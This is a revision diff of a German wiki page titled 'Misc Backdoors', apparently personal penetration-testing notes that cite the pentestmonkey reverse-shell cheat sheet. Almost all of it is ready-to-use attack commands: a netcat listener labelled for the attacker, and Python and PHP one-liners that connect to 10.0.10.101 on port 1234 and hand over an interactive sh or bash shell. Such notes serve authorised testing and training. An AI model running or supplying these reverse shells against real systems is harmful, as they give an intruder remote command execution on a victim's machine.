Misc Backdoors: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
(→Python) |
(→Php) |
||
| Zeile 11: | Zeile 11: | ||
;bash | ;bash | ||
*php -r '$sock=fsockopen("10.0.10.101",1234);exec("/bin/bash -i <&3 >&3 2>&3");' | *php -r '$sock=fsockopen("10.0.10.101",1234);exec("/bin/bash -i <&3 >&3 2>&3");' | ||
| + | =Quellen= | ||
| + | *https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet | ||
Version vom 14. März 2023, 12:20 Uhr
Angreifer
- netcat -lp 1234
Python
- shell
- python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.10.101",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
- bash
- python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.10.101",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);
Php
- shell
- php -r '$sock=fsockopen("10.0.10.101",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
- bash
- php -r '$sock=fsockopen("10.0.10.101",1234);exec("/bin/bash -i <&3 >&3 2>&3");'